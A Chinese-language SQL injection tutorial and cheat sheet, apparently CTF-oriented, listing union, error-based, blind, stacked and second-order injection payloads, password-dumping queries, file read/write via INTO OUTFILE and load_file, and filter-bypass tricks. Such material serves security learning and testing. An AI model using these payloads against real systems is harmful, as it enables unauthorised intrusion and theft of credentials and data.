SQL Injection Hacking Flow
sql 注入步骤
0x00.判断注入点
1.如果目标有 get 注入,则会在 url 上有明显传参的注入点,比方说:
1 | /index.php?id=1 |
如果没有在目标 url 上发现明显的 get 注入,则很有可能是 post 注入,在 post 里边传参就好了
2.通过在传参的数字或是字符串后边加单引号,看会不会框架还在但数据不在了,再加上井号,看不在的数据会不会恢复,以此来判断是否有注入点
3.如果第二步不成功,可以使用 id=1 and 1=1 与 id=1 and 1=2 来看两次页面是否有不同的回显,有的话说明 and 后的语句被执行了,有注入。
4.个别情况,可以使用 id=1 and sleep(5)来看,如果有 5 秒延迟,说明有注入。
0x01.使用 order by 语句来判断列数
1 | id=1' order by 4%23 |
可以使用二分法来推测列数
0x02.判断回显点
从此时开始,就要使 url 前面的查询失效,只执行你 union select 的语句
方法是传一个错误数据将前面的查询失效,可以是 0 可以是负数
1 | id=-1' union select 1,2,3,4%23 |
找到回显点以后,可以使用 database(),user(),version()等函数来证明回显点的可用性
0x03.查询数据库名
可以使用 group_concat()函数来将多列数据整合到一列1 | id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4%23 |
0x04.查询表名
1 | id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x746573745f736368656d61),4%23 |
查询表名时只需要做一次 where 限制,但是限制名字一定要用十六进制表示,并加上 0x
0x05.查询列名
1 | id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=0x746573745f736368656d61 and table_name=0x746573745f7461626c65),4%23 |
查询列名时需要做两次 where 限制,一次是 table_schema(表的数据库名),一次是 table_name(表的名字),且都要用十六进制表示
0x06.查询数据
1 | id=-1' union select 1,2,(select group_concat(id,0x7c,password) from test_schema.test_table),4%23 |
在 group_concat()里写入要查询数据的列名,from 的表名也直接可以用无需转进制的本名表示了(数据库名.表名)
而且由此可见,group_concat 函数里可以通过加上十六进制的特殊符号来分隔列名,以达到分隔要查询的数据的效果
sql 注入技巧
- Bypass:
(1)单引号或者别的什么字符:十六进制编码('abc'==0x616263)
(2)空格:/**/
(3)关键字:预编译语句替换
(4)and 或 or:&& || 或者将 and 或 or 用 ascii 编码后加上%(即变成字母的 url 编码进行绕过)
(5)’!=’:’<>’
(6)’=’
id = 1:id between 1 and 1
like
0x00.Tips
- sql 可以使用写文件
1 | select 1,"获得的值",3 into outfile "绝对路径" --+ |
读文件
1 | select 1,load_file(0x123123),3 --+ |
sqlmap 可以去跑一个页面的 php 文件(不带任何参数那种),然后加上–forms 参数来自动寻找页面可能存在的表单
虽然关键字不能被十六进制编码,但是查询的字符串可以进行十六进制编码,并等价于原字符串
注入时,先引号,然后万能密码,然后 order by,然后 union select 去正常注入。看中途回显要求,尝试堆叠,报错等其他注入途径
注入时如果需要有=这样的字符,不知道全名的时候,=可以换成 like,然后不知道的地方用% 通配,然后十六进制转换
1 | where table_schema like %all% //all那里再转成十六进制 |
- 可以使用 exists(select …)来排查过滤或者暴力猜解表名
1 | id=1' and exists(select * from admin)--+ |
注入时最好去抓包用-r 注入,因为这样可以带上 User-Agent 消息头
注入时有可能你加上–random-agent 这个自动更改消息头的参数会提高成功率
sql 注入的时候不光可注入 GET,POST,还可以抓包注入数据部分的参数(加 * )
用不了 substr 可以用 mid 替换,效果一样
strstr()不区分大小写
0x01.亦或注入
当不知道注入时哪些参数被过滤的时候,可以使用亦或注入
亦或符号为^,其运算规则是相同为真,相异为假
注入时使用 length()函数进行判断,length()内部是被考察有可能过滤掉的参数
如果页面正常返回,则说明被参数过滤掉了
1 | index.php?id=5'^(length('and')!=0)%23 |
如果%23(#)也被过滤掉了,可以尝试再加一次亦或
1 | index.php?id=5'^(length('and')!=0)^' |
0x02.报错注入
报错注入前提是在后端代码有 Exception 这种异常处理的回显才能在 web 中用,不然即使能报错但是你不知道报错内容
报错注入有十种,详见:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
最常用的是
1 | floor() |
- updatexml()
此函数格式为 updatexml(目标文件, 路径, 更改值);
而这里的路径必须是 XPath 格式的路径,我们可以利用传入非法路径(但是是一个合理的 sql 语句),来让 updatexml 报错,显示路径中 sql 语句执行后的内容,而目标文件与更改值可以是任意内容
1 | 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x776562313030322d32)),3) %23 |
而现在的目的是为了让传入的路径不符合 XPath 路径格式,那就必须加一个让路径格式失效的字符,’#’或者’~’(0x7e)都行
所以现在要用到 concat()函数来将那个字符与后面的语句拼接起来
extractvalue()与 updatexml()同理
floor()
与 rand()随机数函数结合,floor()用于取整
https://blog.csdn.net/zpy1998zpy/article/details/80650540
https://www.cnblogs.com/litlife/p/8472323.html
0x03.可以使用语句辅助注入
substr(str,start,long)
str 是待切分的字符串,start 是切分起始位置(下标从 1 开始),long 是切分长度
if(exp1,exp2,exp3)
如果满足 exp1,那么执行 exp2,否则执行 exp3
例如:
1 | xx' or if((substr((select database()),1,1)='c'),1,0) # #判断数据库第一个字符是否为c |
语句替换
如果逗号被过滤了,可以使用以下收发替换
if(exp1, exp2, exp3) ====> case when exp1 then exp2 else exp3 end
substr(exp1,1, 1) ====> substr(exp1) from 1 for 1
例如:
1 | xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end # |
如果 substr 被过滤了,可以使用 LOCATE 函数
返回子串 substr 在字符串 str 中的第 p os 位置后第一次出现的位置。如果 substr 不在 str 中返回 0
ps:因为[[Mysql]]对大小写不敏感,所有写的时候用 locate(binary’S’, str, 1) 加个 binary 即可
1 | xx' or if((locate(binary'c',(select database()),1)=1),1,0) # |
0x04.使用延迟注入
1 | 基于sleep的延迟 |
0x05.堆叠注入
如果能看见源码,源码中有 multi_query()那就很有可能涉及堆叠注入
只要是堆叠注入,那就可以使用 sql 的预定义语句
1 | 即在'后直接跟分号结束,然后跟sql语句,最后#收尾 |
如果可以使用堆叠注入,但是有一些关键字被过滤了(例如 select)
那么我们可以使用预编译的方法
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
例如 payload:
1 | -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;# |
0x06.更改表名列名为本身就能回显的来查询
语法如下:
1 | 修改表名(将表名user改为users) |
例如 payload:
1 | 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# |
修改完后,可以直接使用万能密码得出 flag:
1 | 1' or 1=1# |
0x07.二次注入
即通过某种方式得到源码后,发现程序对输入的地方做了过滤(比方说转义 addslashs),但是通过注册存到数据库里的内容却是不带 \ 的。而当我们再去修改密码时,修改的却是之前注册的恶意代码里真正用户的密码,例如:
1 | 注册时我们注册admin'# |
盲注
原理
1 | 1' and sleep(5)# |
因没有回显,所以一般注入的 select 没用,故通过 and 或者别的方式查询时加上一些特定函数,来一个一个爆破猜解数据库的某个字段的字符
可以使用 Burpsuite 或者二分法来定位字符
操作
基于时间:
sleep()
if()
1 | 猜表的数量: |
基于布尔:
length()
ascii()
mid()
substr()
count()
1 |
|
SQL Injection Hacking Flow